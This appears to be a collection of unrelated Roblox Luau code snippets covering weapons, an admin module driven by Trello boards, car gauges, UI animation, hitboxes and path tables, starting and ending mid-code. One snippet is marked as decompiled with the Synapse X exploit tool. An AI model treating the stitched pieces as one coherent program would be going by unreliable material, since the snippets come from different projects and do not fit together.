end end) end) REMOTES.Shoot.OnServerEvent:connect(function(player, item, position, directions) if shots[player] then shots[player] = nil end local character = player.Character local rootPart = character.HumanoidRootPart local humanoid = character.Humanoid local down = humanoid.Down local equipped = character.Equipped local items = character.Items if item.Parent == items and not down.Value then if (rootPart.Position - position).Magnitude < 15 then if equipped.Value == item then local ammo = item.Ammo local config = CONFIG:GetConfig(item) if #directions == config.ShotSize then if ammo.Value > 0 then ammo.Value = ammo.Value - 1 for i, dir in pairs(directions) do directions[i] = dir.Unit end local shot = { Item = item; Config = config; Position = position; Directions = directions; } shots[player] = shot cancels[item] = true for _, other in pairs(Players:GetPlayers()) do if other ~= player then REMOTES.Effect:FireClient(other, "Shoot", item, position, directions) end end end end end end end end) Players.PlayerRemoving:connect(function(player) if shots[player] then shots[player] = nil end end)
-- Decompiled with the Synapse X Luau decompiler.
while wait(60) do script.Parent.Content:TweenPosition(UDim2.new(1.5, 0, 0.055, 0)); wait(0.5); script.Parent.Content2:TweenPosition(UDim2.new(0.988, 0, 0.055, 0)); wait(60); script.Parent.Content2:TweenPosition(UDim2.new(1.5, 0, 0.055, 0)); wait(0.5); script.Parent.Content:TweenPosition(UDim2.new(0.988, 0, 0.055, 0)); end;
-- Display win dialog
local function openDlg(winnerName) playerNameWins.Text = winnerName dlg.Visible = true end
--- Registers the default commands, with an optional filter function or array of groups.
function Registry:RegisterDefaultCommands (arrayOrFunc) local isArray = type(arrayOrFunc) == "table" if isArray then arrayOrFunc = Util.MakeDictionary(arrayOrFunc) end self:RegisterCommandsIn(self.Cmdr.DefaultCommandsFolder, isArray and function (command) return arrayOrFunc[command.Group] or false end or arrayOrFunc) end
-------- OMG HAX
r = game:service("RunService") local damage = 5 local slash_damage = 12 sword = script.Parent.Handle Tool = script.Parent local SlashSound = Instance.new("Sound") SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav" SlashSound.Parent = sword SlashSound.Volume = .7 local UnsheathSound = Instance.new("Sound") UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav" UnsheathSound.Parent = sword UnsheathSound.Volume = 1 function blow(hit) local humanoid = hit.Parent:findFirstChild("Humanoid") local vCharacter = Tool.Parent local vPlayer = game.Players:playerFromCharacter(vCharacter) local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character if humanoid~=nil and humanoid ~= hum and hum ~= nil then -- final check, make sure sword is in-hand local right_arm = vCharacter:FindFirstChild("Right Arm") if (right_arm ~= nil) then local joint = right_arm:FindFirstChild("RightGrip") if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then tagHumanoid(humanoid, vPlayer) humanoid:TakeDamage(damage) wait(1) untagHumanoid(humanoid) end end end end function tagHumanoid(humanoid, player) local creator_tag = Instance.new("ObjectValue") creator_tag.Value = player creator_tag.Name = "creator" creator_tag.Parent = humanoid end function untagHumanoid(humanoid) if humanoid ~= nil then local tag = humanoid:findFirstChild("creator") if tag ~= nil then tag.Parent = nil end end end function attack() damage = slash_damage SlashSound:play() local anim = Instance.new("StringValue") anim.Name = "toolanim" anim.Value = "Slash" anim.Parent = Tool end function swordUp() Tool.GripForward = Vector3.new(-1,0,0) Tool.GripRight = Vector3.new(0,1,0) Tool.GripUp = Vector3.new(0,0,1) end function swordOut() Tool.GripForward = Vector3.new(0,0,1) Tool.GripRight = Vector3.new(0,-1,0) Tool.GripUp = Vector3.new(-1,0,0) end Tool.Enabled = true function onActivated() if not Tool.Enabled then return end Tool.Enabled = false local character = Tool.Parent; local humanoid = character.Humanoid if humanoid == nil then print("Humanoid not found") return end attack() wait(.5) Tool.Enabled = true end function onEquipped() UnsheathSound:play() end script.Parent.Activated:connect(onActivated) script.Parent.Equipped:connect(onEquipped) connection = sword.Touched:connect(blow)
--when verifying friendships, we just check both the caller and the target's friend lists to see if the IDs are found in both lists
local friendlists = {} --Key: person's username. Value: table of online friends' user IDs function CheckFriendship(caller,target) if caller == nil or target == nil or friendlists[caller.Name] == nil or friendlists[target.Name] == nil then return false end local f1 = false local f2 = false for _,v in pairs(friendlists[caller.Name]) do if v == target.userId then f1 = true break end end for _,v in pairs(friendlists[target.Name]) do if v == caller.userId then f2 = true break end end if f1 == true and f2 == true then return true else return false end end game.ReplicatedStorage.RemoteFunctions.SendFriendsOnlineData.OnServerEvent:connect(function(plr,tbl) --client should send a table of all friend userIDs if type(tbl) == "table" and #tbl <= 200 then for _,v in pairs(tbl) do if type(v) ~= "number" then return end end friendlists[plr.Name] = tbl end end) game.ServerStorage.RemoteFunctions.PlayersAreFriends.OnInvoke = function(caller,target) return CheckFriendship(caller,target) end game.Players.PlayerRemoving:connect(function(plr) friendlists[plr.Name] = nil end)
--[=[ @param optionB Option @return Option Returns `optionB` if the calling option has a value, otherwise returns None. ```lua local optionA = Option.Some(32) local optionB = Option.Some(64) local opt = optionA:And(optionB) -- opt == optionB local optionA = Option.None local optionB = Option.Some(64) local opt = optionA:And(optionB) -- opt == Option.None ``` ]=]
function Option:And(optionB) if self:IsSome() then return optionB else return Option.None end end
--[[ Contains the logic to run a test plan and gather test results from it. TestRunner accepts a TestPlan object, executes the planned tests, and produces a TestResults object. While the tests are running, the system's state is contained inside a TestSession object. ]]
local Expectation = require(script.Parent.Expectation) local TestEnum = require(script.Parent.TestEnum) local TestSession = require(script.Parent.TestSession) local LifecycleHooks = require(script.Parent.LifecycleHooks) local RUNNING_GLOBAL = "__TESTEZ_RUNNING_TEST__" local TestRunner = { environment = {} } function TestRunner.environment.expect(...) return Expectation.new(...) end
--// HTTP
return function() local Functions, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Settings local function Init() Functions = server.Functions; Admin = server.Admin; Anti = server.Anti; Core = server.Core; HTTP = server.HTTP; Logs = server.Logs; Remote = server.Remote; Process = server.Process; Variables = server.Variables; Settings = server.Settings; Logs:AddLog("Script", "HTTP Module Initialized") end; server.HTTP = { Init = Init; Service = service.HttpService; CheckHttp = function() local y,n = pcall(function() local hs = service.HttpService local get = hs:GetAsync('http://google.com') end) if y and not n then return true end end; Trello = { Helpers = {}; Moderators = {}; Admins = {}; Owners = {}; Creators = {}; Mutes = {}; Bans = {}; Music = {}; Agents = {}; Blacklist = {}; Whitelist = {}; PerformedCommands = {}; Update = function() if not HTTP.CheckHttp() then --HTPP.Trello.Bans = {'Http is not enabled! Cannot connect to Trello!'} warn('Http is not enabled! Cannot connect to Trello!') elseif not Settings.Trello_Enabled then -- Do something else? else local boards = {} local bans = {} local admins = {} local mods = {} local owners = {} local helpers = {} local creators = {} local agents = {} local music = {} local mutes = {} local perms = {} local blacklist = {} local whitelist = {} local function grabData(board) local trello = HTTP.Trello.API(Settings.Trello_AppKey,Settings.Trello_Token) local lists = trello.getLists(board) local banList = trello.getListObj(lists,{"Banlist","Ban List","Bans"}) local commandList = trello.getListObj(lists,{"Commands","Command List"}) local adminList = trello.getListObj(lists,{"Admins","Admin List","Adminlist"}) local modList = trello.getListObj(lists,{"Moderators","Moderator List","Moderatorlist","Modlist","Mod List","Mods"}) local creatorList = trello.getListObj(lists,{"Creators","Creator List","Creatorlist","Place Owners"}) local ownerList = trello.getListObj(lists,{"Owners","Owner List","Ownerlist"}) local musicList = trello.getListObj(lists,{"Music","Music List","Musiclist","Songs"}) local permList = trello.getListObj(lists,{"Permissions","Permission List","Permlist"}) local muteList = trello.getListObj(lists,{"Mutelist","Mute List"}) local agentList = trello.getListObj(lists,{"Agents","Agent List","Agentlist"}) local bList = trello.getListObj(lists,"Blacklist") local wList = trello.getListObj(lists,"Whitelist") if banList then local cards = trello.getCards(banList.id) for l,k in pairs(cards) do table.insert(bans,k.name) end end if creatorList then local cards = trello.getCards(creatorList.id) for l,k in pairs(cards) do table.insert(creators,k.name) end end if modList then local cards = trello.getCards(modList.id) for l,k in pairs(cards) do table.insert(mods,k.name) end end if adminList then local cards = trello.getCards(adminList.id) for l,k in pairs(cards) do table.insert(admins,k.name) end end if ownerList then local cards = trello.getCards(ownerList.id) for l,k in pairs(cards) do table.insert(owners,k.name) end end if agentList then local cards = trello.getCards(agentList.id) for l,k in pairs(cards) do table.insert(agents,k.name) end end if musicList then local cards = trello.getCards(musicList.id) for l,k in pairs(cards) do if k.name:match('^(.*):(.*)') then local a,b=k.name:match('^(.*):(.*)') table.insert(music,{Name = a,ID = tonumber(b)}) end end end if muteList then local cards = trello.getCards(muteList.id) for l,k in pairs(cards) do table.insert(mutes,k.name) end end if bList then local cards = trello.getCards(bList.id) for l,k in pairs(cards) do table.insert(blacklist,k.name) end end if wList then local cards = trello.getCards(wList.id) for l,k in pairs(cards) do table.insert(whitelist,k.name) end end if permList then local cards = trello.getCards(permList.id) for l,k in pairs(cards) do local com,level = k.name:match("^(.*):(.*)") if com and level then Admin.SetPermission(com,level) end end end if commandList then local cards = trello.getCards(commandList.id) for l,k in pairs(cards) do if not HTTP.Trello.PerformedCommands[tostring(k.id)] then local cmd = k.name local placeid if cmd:sub(1,1)=="$" then placeid = cmd:sub(2):match(".%d+") cmd = cmd:sub(#placeid+2) placeid = tonumber(placeid) end if placeid and game.PlaceId~=placeid then return end Admin.RunCommand(cmd) HTTP.Trello.PerformedCommands[tostring(k.id)] = true Logs.AddLog(Logs.Script,{ Text = "Trello command executed"; Desc = cmd; }) if Settings.Trello_Token ~= "" then pcall(trello.makeComment,k.id,"Ran Command: "..cmd.."\nPlace ID: "..game.PlaceId.."\nServer Job Id: "..game.JobId.."\nServer Players: "..#service.GetPlayers().."\nServer Time: "..service.GetTime()) end end end end end for i,v in pairs(Settings.Trello_Secondary) do table.insert(boards,v) end if Settings.Trello_Primary~="" then table.insert(boards,Settings.Trello_Primary) end for i,v in pairs(boards) do pcall(grabData,v) end if #bans>0 then HTTP.Trello.Bans = bans end if #creators>0 then HTTP.Trello.Creators = creators end if #admins>0 then HTTP.Trello.Admins = admins end if #mods>0 then HTTP.Trello.Moderators = mods end if #owners>0 then HTTP.Trello.Owners = owners end if #music>0 then HTTP.Trello.Music = music end if #mutes>0 then HTTP.Trello.Mutes = mutes end if #agents>0 then HTTP.Trello.Agents = agents end if #blacklist>0 then HTTP.Trello.Blacklist = blacklist end if #whitelist>0 then HTTP.Trello.Whitelist = whitelist end for i,v in pairs(service.GetPlayers()) do local Banned = Admin.CheckBan(v) if Banned[1] then v:Kick(Banned[2]) end if v and v.Parent then for ind,admin in pairs(HTTP.Trello.Mutes) do if Admin.DoCheck(v,admin) then Remote.LoadCode(v,[[service.StarterGui:SetCoreGuiEnabled("Chat",false) client.Variables.ChatEnabled = false client.Variables.Muted = true]]) end end end Admin.UpdateCachedLevel(v) end Logs.AddLog(Logs.Script,{ Text = "Updated Trello Data"; Desc = "Data was retreived from Trello"; }) end end; CheckAgent = function(p) for ind,v in pairs(HTTP.Trello.Agents) do if Admin.DoCheck(p,v) then return true end end end; }; }; end
------------------------------------------------------------------------ -- parse a break statement -- * used in statements() ------------------------------------------------------------------------
function luaY:breakstat(ls) -- stat -> BREAK local fs = ls.fs local bl = fs.bl local upval = false while bl and not bl.isbreakable do if bl.upval then upval = true end bl = bl.previous end if not bl then luaX:syntaxerror(ls, "no loop to break") end if upval then luaK:codeABC(fs, "OP_CLOSE", bl.nactvar, 0, 0) end bl.breaklist = luaK:concat(fs, bl.breaklist, luaK:jump(fs)) end
--[[[Default Controls]]
--Peripheral Deadzones Tune.Peripherals = { MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width) MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%) ControlLDZone = 5 , -- Controller steering L-deadzone (0 - 100%) ControlRDZone = 5 , -- Controller steering R-deadzone (0 - 100%) } --Control Mapping Tune.Controls = { --Keyboard Controls --Mode Toggles ToggleTCS = Enum.KeyCode.T , ToggleABS = Enum.KeyCode.Y , ToggleTransMode = Enum.KeyCode.M , ToggleMouseDrive = Enum.KeyCode.R , --Primary Controls Throttle = Enum.KeyCode.Up , Brake = Enum.KeyCode.Down , SteerLeft = Enum.KeyCode.Left , SteerRight = Enum.KeyCode.Right , --Secondary Controls Throttle2 = Enum.KeyCode.W , Brake2 = Enum.KeyCode.S , SteerLeft2 = Enum.KeyCode.A , SteerRight2 = Enum.KeyCode.D , --Manual Transmission ShiftUp = Enum.KeyCode.E , ShiftDown = Enum.KeyCode.Q , Clutch = Enum.KeyCode.LeftShift , --Handbrake PBrake = Enum.KeyCode.P , --Mouse Controls MouseThrottle = Enum.UserInputType.MouseButton1 , MouseBrake = Enum.UserInputType.MouseButton2 , MouseClutch = Enum.KeyCode.W , MouseShiftUp = Enum.KeyCode.E , MouseShiftDown = Enum.KeyCode.Q , MousePBrake = Enum.KeyCode.LeftShift , --Controller Mapping ContlrThrottle = Enum.KeyCode.ButtonR2 , ContlrBrake = Enum.KeyCode.ButtonL2 , ContlrSteer = Enum.KeyCode.Thumbstick1 , ContlrShiftUp = Enum.KeyCode.ButtonY , ContlrShiftDown = Enum.KeyCode.ButtonX , ContlrClutch = Enum.KeyCode.ButtonR1 , ContlrPBrake = Enum.KeyCode.ButtonL1 , ContlrToggleTMode = Enum.KeyCode.DPadUp , ContlrToggleTCS = Enum.KeyCode.DPadDown , ContlrToggleABS = Enum.KeyCode.DPadRight , } return Tune
--Main Control------------------------------------------------------------------------
Red = script.Parent.Red.Lamp Yellow = script.Parent.Yellow.Lamp Green = script.Parent.Green.Lamp DRed = script.Parent.Red.DynamicLight DYellow = script.Parent.Yellow.DynamicLight DGreen = script.Parent.Green.DynamicLight function Active() if Signal.Value == 0 then Green.Enabled = false Yellow.Enabled = false Red.Enabled = false DGreen.Enabled = false DYellow.Enabled = false DRed.Enabled = false GArrow.Enabled = false YArrow.Enabled = false FYellow.Enabled = false DGArrow.Enabled = false DYArrow.Enabled = false DFYellow.Enabled = false elseif Signal.Value == 1 then while Signal.Value == 1 do Green.Enabled = true Yellow.Enabled = false Red.Enabled = false DGreen.Enabled = true DYellow.Enabled = false DRed.Enabled = false while Signal.Value == 1 do YArrow.Enabled = false FYellow.Enabled = true GArrow.Enabled = false DRed.Enabled = false DYellow.Enabled = false DFYellow.Enabled = true DGArrow.Enabled = false wait(.5) FYellow.Enabled = false DFYellow.Enabled = false wait(.5) if Signal.Value ~= 1 then break end if Turn.Value == 1 then break end if Turn.Value == 2 then break end if Turn.Value == 3 then break end if Turn.Value == 0 then break end end end elseif Signal.Value == 2 then Green.Enabled = false Yellow.Enabled = true Red.Enabled = false DGreen.Enabled = false DYellow.Enabled = true DRed.Enabled = false GArrow.Enabled = false FYellow.Enabled = false YArrow.Enabled = true FYellow.Enabled = false DGArrow.Enabled = false DYArrow.Enabled = true elseif Signal.Value == 3 then Green.Enabled = false Yellow.Enabled = false Red.Enabled = true DGreen.Enabled = false DYellow.Enabled = false DRed.Enabled = true GArrow.Enabled = false FYellow.Enabled = false YArrow.Enabled = false DGArrow.Enabled = false DFYellow.Enabled = false DYArrow.Enabled = false end end Signal.Changed:connect(Active)
--Automatic Gauge Scaling
if autoscaling then local Drive={} if _Tune.Config == "FWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("FL")~= nil then table.insert(Drive,car.Wheels.FL) end if car.Wheels:FindFirstChild("FR")~= nil then table.insert(Drive,car.Wheels.FR) end if car.Wheels:FindFirstChild("F")~= nil then table.insert(Drive,car.Wheels.F) end end if _Tune.Config == "RWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("RL")~= nil then table.insert(Drive,car.Wheels.RL) end if car.Wheels:FindFirstChild("RR")~= nil then table.insert(Drive,car.Wheels.RR) end if car.Wheels:FindFirstChild("R")~= nil then table.insert(Drive,car.Wheels.R) end end local wDia = 0 for i,v in pairs(Drive) do if v.Size.x>wDia then wDia = v.Size.x end end Drive = nil for i,v in pairs(UNITS) do v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive) v.spInc = math.max(math.ceil(v.maxSpeed/200)*20,20) end end for i=0,revEnd*2 do local ln = script.Parent.ln:clone() ln.Parent = script.Parent.Tach ln.Rotation = 90 + i * 225 / (revEnd*2) ln.Num.Text = i/2 ln.Num.Rotation = -ln.Rotation if i*500>=math.floor(_pRPM/500)*500 then ln.Frame.BackgroundColor3 = Color3.new(1,0,0) if i<revEnd*2 then ln2 = ln:clone() ln2.Parent = script.Parent.Tach ln2.Rotation = 90 + (i+.5) * 225 / (revEnd*2) ln2.Num:Destroy() ln2.Visible=true end end if i%2==0 then ln.Frame.Size = UDim2.new(0,3,0,10) ln.Frame.Position = UDim2.new(0,-1,0,100) ln.Num.Visible = true else ln.Num:Destroy() end ln.Visible=true end local lns = Instance.new("Frame",script.Parent.Speedo) lns.Name = "lns" lns.BackgroundTransparency = 1 lns.BorderSizePixel = 0 lns.Size = UDim2.new(0,0,0,0) for i=1,90 do local ln = script.Parent.ln:clone() ln.Parent = lns ln.Rotation = 45 + 225*(i/90) if i%2==0 then ln.Frame.Size = UDim2.new(0,2,0,10) ln.Frame.Position = UDim2.new(0,-1,0,100) else ln.Frame.Size = UDim2.new(0,3,0,5) end ln.Num:Destroy() ln.Visible=true end for i,v in pairs(UNITS) do local lnn = Instance.new("Frame",script.Parent.Speedo) lnn.BackgroundTransparency = 1 lnn.BorderSizePixel = 0 lnn.Size = UDim2.new(0,0,0,0) lnn.Name = v.units if i~= 1 then lnn.Visible=false end for i=0,v.maxSpeed,v.spInc do local ln = script.Parent.ln:clone() ln.Parent = lnn ln.Rotation = 45 + 225*(i/v.maxSpeed) ln.Num.Text = i ln.Num.TextSize = 20 ln.Num.Rotation = -ln.Rotation ln.Frame:Destroy() ln.Num.Visible=true ln.Visible=true end end if script.Parent.Parent.IsOn.Value then script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end script.Parent.Parent.IsOn.Changed:connect(function() if script.Parent.Parent.IsOn.Value then script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end end) script.Parent.Parent.Values.RPM.Changed:connect(function() script.Parent.Tach.Needle.Rotation = 90 + 225 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000)) end) script.Parent.Parent.Values.Gear.Changed:connect(function() local gearText = script.Parent.Parent.Values.Gear.Value if gearText == 0 then gearText = "N" elseif gearText == -1 then gearText = "R" end script.Parent.Gear.Text = gearText end) script.Parent.Parent.Values.TCS.Changed:connect(function() if _Tune.TCSEnabled then if script.Parent.Parent.Values.TCS.Value then script.Parent.TCS.TextColor3 = Color3.new(1,170/255,0) script.Parent.TCS.TextStrokeColor3 = Color3.new(1,170/255,0) if script.Parent.Parent.Values.TCSActive.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible else wait() script.Parent.TCS.Visible = false end else script.Parent.TCS.Visible = true script.Parent.TCS.TextColor3 = Color3.new(1,0,0) script.Parent.TCS.TextStrokeColor3 = Color3.new(1,0,0) end else script.Parent.TCS.Visible = false end end) script.Parent.Parent.Values.TCSActive.Changed:connect(function() if _Tune.TCSEnabled then if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible elseif not script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = true else wait() script.Parent.TCS.Visible = false end else script.Parent.TCS.Visible = false end end) script.Parent.TCS.Changed:connect(function() if _Tune.TCSEnabled then if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible elseif not script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = true end else if script.Parent.TCS.Visible then script.Parent.TCS.Visible = false end end end) script.Parent.Parent.Values.ABS.Changed:connect(function() if _Tune.ABSEnabled then if script.Parent.Parent.Values.ABS.Value then script.Parent.ABS.TextColor3 = Color3.new(1,170/255,0) script.Parent.ABS.TextStrokeColor3 = Color3.new(1,170/255,0) if script.Parent.Parent.Values.ABSActive.Value then wait() script.Parent.ABS.Visible = not script.Parent.ABS.Visible else wait() script.Parent.ABS.Visible = false end else script.Parent.ABS.Visible = true script.Parent.ABS.TextColor3 = Color3.new(1,0,0) script.Parent.ABS.TextStrokeColor3 = Color3.new(1,0,0) end else script.Parent.ABS.Visible = false end end) script.Parent.Parent.Values.ABSActive.Changed:connect(function() if _Tune.ABSEnabled then if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = not script.Parent.ABS.Visible elseif not script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = true else wait() script.Parent.ABS.Visible = false end else script.Parent.ABS.Visible = false end end) script.Parent.ABS.Changed:connect(function() if _Tune.ABSEnabled then if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = not script.Parent.ABS.Visible elseif not script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = true end else if script.Parent.ABS.Visible then script.Parent.ABS.Visible = false end end end) function PBrake() script.Parent.PBrake.Visible = script.Parent.Parent.Values.PBrake.Value end script.Parent.Parent.Values.PBrake.Changed:connect(PBrake) function Gear() if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then script.Parent.TMode.Text = "A/T" script.Parent.TMode.BackgroundColor3 = Color3.new(1,170/255,0) elseif script.Parent.Parent.Values.TransmissionMode.Value == "Semi" then script.Parent.TMode.Text = "S/T" script.Parent.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255) else script.Parent.TMode.Text = "M/T" script.Parent.TMode.BackgroundColor3 = Color3.new(1,85/255,.5) end end script.Parent.Parent.Values.TransmissionMode.Changed:connect(Gear) script.Parent.Parent.Values.Velocity.Changed:connect(function(property) script.Parent.Speedo.Needle.Rotation =45 + 225 * math.min(1,UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed) script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units end) script.Parent.Speed.MouseButton1Click:connect(function() if currentUnits==#UNITS then currentUnits = 1 else currentUnits = currentUnits+1 end for i,v in pairs(script.Parent.Speedo:GetChildren()) do v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns" end script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units end) wait(.1) Gear() PBrake()
--[[ Called when the goal state changes value, or when the speed or damping has changed. ]]
function class:update(): boolean local goalValue = self._goalState:get(false) -- figure out if this was a goal change or a speed/damping change if goalValue == self._goalValue then -- speed/damping change local damping = unwrap(self._damping) if typeof(damping) ~= "number" then warn("mistypedSpringDamping", typeof(damping)) elseif damping < 0 then warn("invalidSpringDamping", damping) else self._currentDamping = damping end local speed = unwrap(self._speed) if typeof(speed) ~= "number" then warn("mistypedSpringSpeed", nil, typeof(speed)) elseif speed < 0 then warn("invalidSpringSpeed", nil, speed) else self._currentSpeed = speed end return false else -- goal change - reconfigure spring to target new goal self._goalValue = goalValue local oldType = self._currentType local newType = typeof(goalValue) self._currentType = newType local springGoals = unpackType(goalValue, newType) local numSprings = #springGoals self._springGoals = springGoals if newType ~= oldType then -- if the type changed, snap to the new value and rebuild the -- position and velocity tables self._currentValue = self._goalValue local springPositions = table.create(numSprings, 0) local springVelocities = table.create(numSprings, 0) for index, springGoal in ipairs(springGoals) do springPositions[index] = springGoal end self._springPositions = springPositions self._springVelocities = springVelocities -- the spring may have been animating before, so stop that SpringScheduler.remove(self) return true -- otherwise, the type hasn't changed, just the goal... elseif numSprings == 0 then -- if the type isn't animatable, snap to the new value self._currentValue = self._goalValue return true else -- if it's animatable, let it animate to the goal SpringScheduler.add(self) return false end end end local function Spring<T>( goalState, speed: number?, damping: number? ) -- apply defaults for speed and damping if not speed then speed = 10 end if not damping then damping = 1 end local dependencySet = {[goalState] = true} if xtypeof(speed) == "State" then dependencySet[speed] = true end if xtypeof(damping) == "State" then dependencySet[damping] = true end local self = setmetatable({ type = "State", kind = "Spring", dependencySet = dependencySet, -- if we held strong references to the dependents, then they wouldn't be -- able to get garbage collected when they fall out of scope dependentSet = setmetatable({}, WEAK_KEYS_METATABLE), _speed = speed, _damping = damping, _goalState = goalState, _goalValue = nil, _currentType = nil, _currentValue = nil, _currentSpeed = unwrap(speed), _currentDamping = unwrap(damping), _springPositions = nil, _springGoals = nil, _springVelocities = nil }, CLASS_METATABLE) -- add this object to the goal state's dependent set goalState.dependentSet[self] = true self:update() return self end return Spring
--------
SYNC_RATE:Connect(function() for Index, Object in ipairs(ActiveHitboxes) do if Object.deleted then Handler:remove(Object.object) else for _, Point in ipairs(Object.points) do if not Object.active then Point.LastPosition = nil else local rayStart, rayDir, RelativePointToWorld = Point.solver:solve(Point, Object.debugMode) local raycastResult = workspace:Raycast(rayStart, rayDir, Object.raycastParams) Point.solver:lastPosition(Point, RelativePointToWorld) if raycastResult then local hitPart = raycastResult.Instance local findModel = not Object.partMode and hitPart:FindFirstAncestorOfClass("Model") local humanoid = findModel and findModel:FindFirstChildOfClass("Humanoid") local target = humanoid or (Object.partMode and hitPart) if target and not Object.targetsHit[target] then Object.targetsHit[target] = true Object.OnHit:Fire(hitPart, humanoid, raycastResult, Point.group) end end Object.OnUpdate:Fire(Point.LastPosition) end end end end end) return Handler
--[[ Add a dummy child node to the current node to hold the given error. This allows an otherwise empty describe node to report an error in a more natural way. ]]
function TestSession:addDummyError(phrase, message) self:pushNode({type = TestEnum.NodeType.It, phrase = phrase}) self:setError(message) self:popNode() self.nodeStack[#self.nodeStack].status = TestEnum.TestStatus.Failure end
--Precalculated paths
local t,f,n=true,false,{} local r={ [58]={{31,32,34,35,39,41,30,56,58},t}, [49]={{31,29,28,44,45,49},t}, [16]={n,f}, [19]={{31,32,34,35,39,41,30,56,58,20,19},t}, [59]={{31,32,34,35,39,41,59},t}, [63]={{31,32,34,35,39,41,30,56,58,23,62,63},t}, [34]={{31,32,34},t}, [21]={{31,32,34,35,39,41,30,56,58,20,21},t}, [48]={{31,29,28,44,45,49,48},t}, [27]={{31,29,28,27},t}, [14]={n,f}, [31]={{31},t}, [56]={{31,32,34,35,39,41,30,56},t}, [29]={{31,29},t}, [13]={n,f}, [47]={{31,29,28,44,45,49,48,47},t}, [12]={n,f}, [45]={{31,29,28,44,45},t}, [57]={{31,32,34,35,39,41,30,56,57},t}, [36]={{31,32,33,36},t}, [25]={{31,29,28,27,26,25},t}, [71]={{31,32,34,35,39,41,59,61,71},t}, [20]={{31,32,34,35,39,41,30,56,58,20},t}, [60]={{31,32,34,35,39,41,60},t}, [8]={n,f}, [4]={n,f}, [75]={{31,32,34,35,39,41,59,61,71,72,76,73,75},t}, [22]={{31,32,34,35,39,41,30,56,58,20,21,22},t}, [74]={{31,32,34,35,39,41,59,61,71,72,76,73,74},t}, [62]={{31,32,34,35,39,41,30,56,58,23,62},t}, [1]={n,f}, [6]={n,f}, [11]={n,f}, [15]={n,f}, [37]={{31,32,33,36,37},t}, [2]={n,f}, [35]={{31,32,34,35},t}, [53]={{31,29,28,44,45,49,48,47,52,53},t}, [73]={{31,32,34,35,39,41,59,61,71,72,76,73},t}, [72]={{31,32,34,35,39,41,59,61,71,72},t}, [33]={{31,32,33},t}, [69]={{31,32,34,35,39,41,60,69},t}, [65]={{31,32,34,35,39,41,30,56,58,20,19,66,64,65},t}, [26]={{31,29,28,27,26},t}, [68]={{31,32,34,35,39,41,30,56,58,20,19,66,64,67,68},t}, [76]={{31,32,34,35,39,41,59,61,71,72,76},t}, [50]={{31,29,28,44,45,49,48,47,50},t}, [66]={{31,32,34,35,39,41,30,56,58,20,19,66},t}, [10]={n,f}, [24]={{31,29,28,27,26,25,24},t}, [23]={{31,32,34,35,39,41,30,56,58,23},t}, [44]={{31,29,28,44},t}, [39]={{31,32,34,35,39},t}, [32]={{31,32},t}, [3]={n,f}, [30]={{31,32,34,35,39,41,30},t}, [51]={{31,29,28,44,45,49,48,47,50,51},t}, [18]={n,f}, [67]={{31,32,34,35,39,41,30,56,58,20,19,66,64,67},t}, [61]={{31,32,34,35,39,41,59,61},t}, [55]={{31,29,28,44,45,49,48,47,52,53,54,55},t}, [46]={{31,29,28,44,45,49,48,47,46},t}, [42]={{31,32,34,35,38,42},t}, [40]={{31,32,34,35,40},t}, [52]={{31,29,28,44,45,49,48,47,52},t}, [54]={{31,29,28,44,45,49,48,47,52,53,54},t}, [43]={n,f}, [7]={n,f}, [9]={n,f}, [41]={{31,32,34,35,39,41},t}, [17]={n,f}, [38]={{31,32,34,35,38},t}, [28]={{31,29,28},t}, [5]={n,f}, [64]={{31,32,34,35,39,41,30,56,58,20,19,66,64},t}, } return r
--[[ Disclaimer for Robert Penner's Easing Equations license: TERMS OF USE - EASING EQUATIONS Open source under the BSD License. Copyright © 2001 Robert Penner All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the author nor the names of contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 